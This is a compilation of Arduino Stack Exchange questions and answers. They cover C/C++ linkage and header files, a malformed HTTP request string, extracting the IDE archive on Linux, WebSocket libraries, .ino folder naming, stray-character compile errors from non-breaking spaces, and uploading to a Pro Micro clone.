I duplicated your error (guessing you called the 1st file "tst.ino") using Arduino 1.8.0.  @J.Piquard suggestion appears correct, you need to use the *.cpp extension.

Yes, that fixed it handily.  I wonder why, though? I was under the impression that Arduino used C, with a bunch of cpp functionality added in through emulation of some sort.  I guess I'm wrong, obviously :-P

I get the error "undefined reference to doNothing() in function loop"

The C++ compiler cannot find doNothing(). This is mainly due to the incomplete header file and mix of C and C++.
Two things are needed to avoid this type of problem; 1) protect the file from multiple includes (in the same compile), 2) make the function visible to the C++ compiler as a C function (without name mangling).
tst.h:
#ifndef TST_H
#define TST_H

#ifdef __cplusplus
extern "C"{
#endif

void doNothing();

#ifdef __cplusplus
} // extern "C"
#endif
#endif

Cheers!

I admit I'm still learning c++, but why is my function not c++?

The build rules for files with the extension .c will use the c-compiler (gcc). If you rename the file and use the extension .cpp the build rules will use the c++-compiler.

Oh, yes I see.  So the function itself was not strictly c, but the fact that it was in A C file was the problem?

Correct! If you had used overloading, reference parameters, classes, etc (i.e. a language difference) then the C-compiler would have flagged an error. Now actually the linker flags the error as the C function does not have the same compiled name (aka manged name) as the C++ function.


text:
HTTP request not sending
so I have a wifi shield and I am sending a web request, but its not going through. I know it's not the server because the other function of the program works properly. My code is available on pastebin
EDIT:
The request that is not working is on line 318

This is a meaningless question for Stack Exchange. You don't mention what shield, and you haven't posted any code (that will survive if Pastebin goes down. I'm closing it as not a real question.

You are lacking a space:
client.println((String)"GET /msg.php?action=send&ID=2&message=" += currentMessage += "HTTP/1.1");
                                                                                ^

Your HTTP is running in to the content of your message ending up with a corrupt request. Also you are doing appending within your strings (+=) when you don't need to (+ is all that is needed). In fact, you don't even need that - just do multiple prints and reduce the hammering your heap is getting. Oh, and don't forget to use F():
client.print(F("GET /msg.php?action=send&ID=2&message="));
client.print(currentMessage);
client.println(F(" HTTP/1.1"));


text:
Arduino IDE on Linux - directory not found
I have Ubuntu 14.04 installed on a chromebook through crouton. I'm trying to install the Arduino IDE. I figured out that I needed the 64-bit version of the IDE and downloaded it. Then, I started following the instructions given - I found the downloaded file, which was named arduino-1.8.0-linux64.tar.xz, opened it (this opened a new window in a program called Xarchiver, which listed the subfolders and files), and saw the install.sh file. When I right-clicked, there was no option to run it from the terminal, so I went back to the terminal and did cd Downloads and then tried to cd into the downloaded file. However, it said that there was no such directory. I listed the files in Downloads, and the downloaded file came up, listed in red.
How can I run the install.sh file? What am I doing wrong? Any help would be appreciated.

You need to extract the archive file first.
$ cd ~/Downloads
$ tar -Jxvf arduino-1.8.0-linux64.tar.xz


text:
Collection of functions for arduino IDE
I am having troubles creating a collection of functions to be used in Arduino sketches and libraries. What I want is not a class, but simply a group of functions which do not require an object to be called; general utilities that can be helpful in any Arduino sketch, like an average of analog reads, or a little statistical tool.
Suppose I write a file called Utilities.h    (I am not sure .h is the right extension to use in this case):
Utilities.h
#ifndef Utilities_h
#define Utilities_h
#include <Arduino.h>

void utility1(...){
...
}

float utility2(...){
...
}

//and so on

#endif

I then save this file in ../Arduino/libraries/Utilities. Whenever I want to use my utilities from this file directly in a sketch I type #includethe full path to the file (#include <Utilities.h>  won't work).
The real problem is if I want to use this collection of functions in a library, like in the following example.
myClass.h
#ifndef myClass_h
#define myClass_h
#include "full path to Utilities.h"

class myClass{
 private:
  int a;
 public:
  myClass();
};

#endif

myClass.cpp
#include "myClass.h"

myClass::myClass(){
 a = utility2(...);
}

Whenever I try to #include <myClass.h>  in my sketches and compile, I get 'multiple definition' error messages for the functions on my  Utilities.h.
So to summarize, my question is: how can I create a collection of functions that can be used both in a sketch and in a library for Arduino?

You need to "split" your library.
Placing full functions inside a header file (.h) is bad form and causes the exact problem you are seeing. Every time you include the header file you create an entirely new copy of the function. This can only work if the functions are static, which means that they exist, and are contained entirely within, the function in which the header is included in. All outside access to them is completely cut off and they become "local" to the file. That means you can have multiple copies of them in one program. However that is wasteful of space since you are duplicating your code.
Instead you need to have the code itself in a .cpp file, which gets compiled separately and then linked with your sketch at the end of compilation, and just pointers to the functions you have written in your .h file.
Utilities.h:
extern void myFunction();

Utilities.cpp:
void myFunction() {
    blah blah
}

The .h file just contains a prototype for the functions which tells the compiler that "This function is defined elsewhere. Find it later on when you link."
It's only the .h file that is included in libraries and sketches, etc, so only the prototype that is duplicated between files. The .cpp is compiled separately and thus only compiled the once, so you don't get the code duplicated.
One caveat with this is that your sketch must include the library you have written so that the IDE knows to look for .cpp files within it to compile. And you must use #include <Utilities.h> for it to be able to work that out. Using a full path rather than just <Utilities.h> means that you break all portability and the IDE may not know to look for .cpp files in there, or even where to actually find it when compiling.  Note as well that the IDE needs to be restarted after creating a new library, which is why it may not be able to find it in your experiments.

Thanks a lot, I thought that the format .h + .cpp  was exclusively for classes.

No, the keyword class denotes a class. .h + .cpp is normal programming practice and procedure and has nothing at all to do with classes. You can create classes inside a .ino file if you want.

What about the externkeyword? Is it essential? I never used it inside an header file while declaring methods of a class

It is not essential, no. It used to be required, but now it is entirely optional. I like to keep it in there as a reminder that "this function is implemented elsewhere". It is only required now for variables - functions have it implicitly automatically in modern compilers.

Oh and class methods aren't external, they are part of a class. An "extern" function is a raw function, not a class member. they are very very different beasts.


text:
Where can i get a current Websockets Library for Arduino that will work with the Ethernet Shield
I'm trying to get a simple WebSocket client working on an Arduino Mega with an ethernet shield. I tested the ethernet on the Arduino and it's working fine. I've tried a few of different WebSocket libraries the example sketches fail to connect. I've tried them with echo.websocket.org and with two different express instances ( one running WS and one running SocketIO ). But the WebSocket connection seems to fail.
https://github.com/billroy/socket.io-arduino-client
https://github.com/krohling/ArduinoWebsocketClient
is there a preferred  library for the most recent WS standard that anyone has used with sucess recently?

I am sure all three of those libraries work fine - other wise why would they have published them? Certainly the first one in your list has commits that are very recent. It is most likely how you are using it that is failing, but you didn't bother to ask us about that, just assumed that your code is perfect but the libraries are all at fault.

I'm running the examples and not modifying the code, and they are not working, I actually haven't tried the first LIB yet, but I will now ... My assumption was that perhaps the since the WS standard changed it broke the older libraries ... my question was more, if there is a preferred lib to use when trying to implement WS on Arduino, seems like it would be a common use case. Also, I don't really know why you seem to have such an attitude about the question, I wasnt being lazy, or making assumptions

Well that's how it came across. "None of the libraries work. Where can I get a working one?" Given that there are 3 libraries (supposedly) tried and only 1 "your code", the balance of probability (3:1 against) says that it's your code that is at fault. Complaining about the libraries, therefore, smacks of arrogance and "My code is perfect!"ism.

Well then, I've tried to reword so that it does not "smack of arrogance". although I think you are reading something that not there, I just see no point in aggro comments to honest questions, even if they are bad questions, just downvote it and or vote to close it and be done with it

I have debugged both these libraries using wireshark, sending a message to a node.js ws server in my computer, and there really is some sort of problem in the handshake. The package is sent by the client and received by the host, by the connection with the ws server is never established.
Was anyone able to use them?
Is there any alternative (besides Johnny-Five)?


text:
Why does an `.ino` file have to be in a folder of the same name?
I'm trying to organise a very complicated project and I want to put all the actual code in a folder named src (source), but I want to keep the main .ino file as main.ino (it will also be in src). Then when I try to open the code, the IDE says that main.ino has to be in a folder named main.
Why is this?
I fully understand the error message, but why does the file naming in Arduino has to be so. Is there a way to change that?

AFAIK, that is a quirk built into the Arduino IDE. The best workaround I can think of is a file structure something like:
ArduinoWorkspace --- /myproj/ ----+ /src/ --------+ myproj.cpp
                                  + myproj.ino    + sensor.h
                                                  + sensor.cpp
                                                  + (more files)

, where myproj.cpp just #include's main.cpp. This should leave your project files "clean" such that they should work in a more typical environment as well.
Update:
I borrowed the name "main" from your question, but on reflection, "main" is a reserved name, specifically, every C or C++ program has a main.c or main.cpp as its top level code, provided by the system if you don't provide one. So I avoided using that as the folder- and project-name (but feel free to try it) and I've updated the diagram. What you do need is a project folder and a .ino file within it, of the same name. The .ino file could
#include <src/anything-else-you-like>

, e.g., your top level code file, thus pulling everything else. You may need for your .ino to #include each of the files in the src folder, if it the compiler doesn't figure out on its own, that that's where your other files are.
BTW, if you do use the name main.cpp for your top file, it will have to call the setup() and loop() functions (and serial event function, if you use that). It's probably best to leave the name 'main' alone, let the system provide the same main every Arduino program gets by default, and write your project code the typical Arduino way -- starting with setup() and loop().

myproj.cpp, you mean myproj.ino? Because I don't see where myproj.cpp is!

Ok, little problem, if I do this, some basic Arduino functions (such as map() and analogRead()) that are contained in sensor.cpp won't be recognize by the compiler.

Alternatively, if working on a Windows box, use the junction command and "link" a correctly name directory to the directory with the better name.  Or, if working on a Linux box, use the symbolic link command to do the same.

(See my update - your .ino file might have to include each of the other files).

Could you please update your answer? You are mentioning files that are nowhere to be found in your folder structure.

If I understand correctly, when you open your proposed structure in Arduino IDE, you only see myproj.ino, and cannot see the content of any of the files in src? So you can only an almost empty ino file, and none of the actual code? Oh boy, Arduino IDE project structure is completely stupid.

You can also avoid the Arduino IDE project structure entirely by compiling C++ code like a normal microcontroller. https://arduino.stackexchange.com/a/90438/52996

When you have a project made up of a number of .INO files, how is the IDE supposed to know which is the "main" one? During compilation the IDE concatenates all the .INO files together into one monolithic file. It does this starting with the "main" one and then appends each of the others alphabetically to the end.
It is done this way so that your includes and global variables, which you should put in your "main" .INO file, are at the start of the finished program.
In order to do this the IDE has to know which of the files is the "main" one. And the way it works that out is by finding the one which is named the same as the folder the sketch is in.
In UECIDE I take it a step further and turn the whole folder into a compound document so you no longer have to enter a folder and open a .INO file to open a sketch - the actual folder itself is the whole sketch project. Again this kind of folder is identified as having a .INO file within it that is named the same as the folder.


text:
I keep on getting a stray '\302' in program error.How do I fix it.This is in arduino uno
#include <LiquidCrystal.h>

int trigPin = 13;  //sensor's trigger pin connected to pin 13
int echoPin = 7;  //sensor's echo pin connected to pin 11
float pingTime;  //time for the ping to hit the target and back
float ss;  //we will calculate the speed of sound
float td = 13; //target distance.

void setup() {
  // put your setup code here, to run once:

// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

  Serial.begin(9600);
  pinMode(trigPin,OUTPUT);  //TRIG AS OUTPUT
  pinMode(echoPin,INPUT);  //EHO AS AN INPUT

  // set up the LCD's number of columns and rows:
  lcd.begin(16, 2);
  // Print a message to the LCD.
  lcd.println(ss);

}

void loop() {
  // put your main code here, to run repeatedly:

  digitalWrite(trigPin,LOW);  //set trig pin low.
  delayMicroseconds(2000);
  digitalWrite(trigPin,HIGH);
  delayMicroseconds(100);
  digitalWrite(trigPin,LOW);
  pingTime = pulseIn(echoPin,HIGH);  //measure ping time traveltime in microseconds.
  ss= 2*td / pingTime;  //gives us speed in inches per microseconds.
  ss=ss/63360*1000000*3600;  //gives us speed in miles per hour.
  Serial.print("The speed of sound is ");
  Serial.print(ss);
  Serial.println(" miles per hour");

  // Turn off the blinking cursor:
  lcd.noBlink();
  delay(3000);
  // Turn on the blinking cursor:
  lcd.blink(0);
  delay(3000);

}

Your program doesn't even begin to compile. Maybe you should worry more about where you are defining things first?

And I see no \302 in that program. Are you actually showing us the right program here?

The variable lcd will be out of scope in loop.

Please add more details. What have you tried? What was the result.

The culprits are the no-break spaces (U+00A0) you sometimes use in your
indentation. Each of them, when encoded in UTF-8, is represented by the
pair of bytes 0xc2 0xa0 (or 0302 0240 in octal). You should indent
with regular spaces (U+0020) instead.
Specifically, you have no-break spaces as the first characters of each
of the following 8 lines:
lcd.begin(16, 2);
// Print a message to the LCD.
lcd.println(ss);
[...]
lcd.noBlink();
delay(3000);
// Turn on the blinking cursor:
lcd.blink(0);
delay(3000);

Beware when you copy code from sites which have formatead fonts in their content. As you copy and paste these font-formatead codes, chances are that you copy the font's formats as well. Once you paste these formatead fonts on your code, the text editor from the Arduino IDE will not recognize the special characters used on the font's formatting; thus, it will not show them on your screen. However, the compiler will read them and will strive to compile them as if they were part of your code. Since the compiler does not "understand" these special characters, it will warn you about their existence by identifying them as "stray" pieces of code. This is why some code-related sites, such as GitHub, gives you the opportunity of copying RAW CODE, so you do not copy the formatead fonts that some developers use to showcase their much appreciated contributions. I sincerely hope this works for you. Best regards.

Just try to removes extra spaces that are outside the scopes (curly braces { and }) and it'll work fine.


text:
Arduino beginner question
I just got a new pro-micro Atmega32U4 board, and installed the current Arduino IDE (1.8) and cannot get it working.
There is no entry for a pro-micro, so I chose Leonardo as it uses the same chip.
When I choose upload, the two red LEDs blink fast, but I get an error from avrdude, saying that it cannot upload the code.
The board is probably from a Chinese web shop ($6 clone). There are no buttons on the board.
My questions are:

Is there already a bootloader on the chip, or do I have to program one? How do I check this?
How does it know that it must receive an upload, instead of running the flash program?
Which board should I choose in the IDE?

This is the error:

Couldn't find a Board on the selected port. Check that you have the correct port selected.  If it is correct, try pressing the board's reset button after initiating the upload.

It looks exactly like this one.
Update: I did everything the manual said. I can choose the pro-micro now. Still the same error message. How do I check what state the bootloader is in?

There is an extensive guide written by SparkFun explaining how to work with Arduino Pro Micro: Pro Micro & Fio V3 Hookup Guide.
There are specific drivers for the board, so make sure you have them installed. There are also board files for the IDE, which allow you to select the Pro Micro in Arduino software.

I'm answering my own question. It works now. You must reset it (maybe twice) before you can upload software to it. I soldered a few wires to it for this. That did the trick.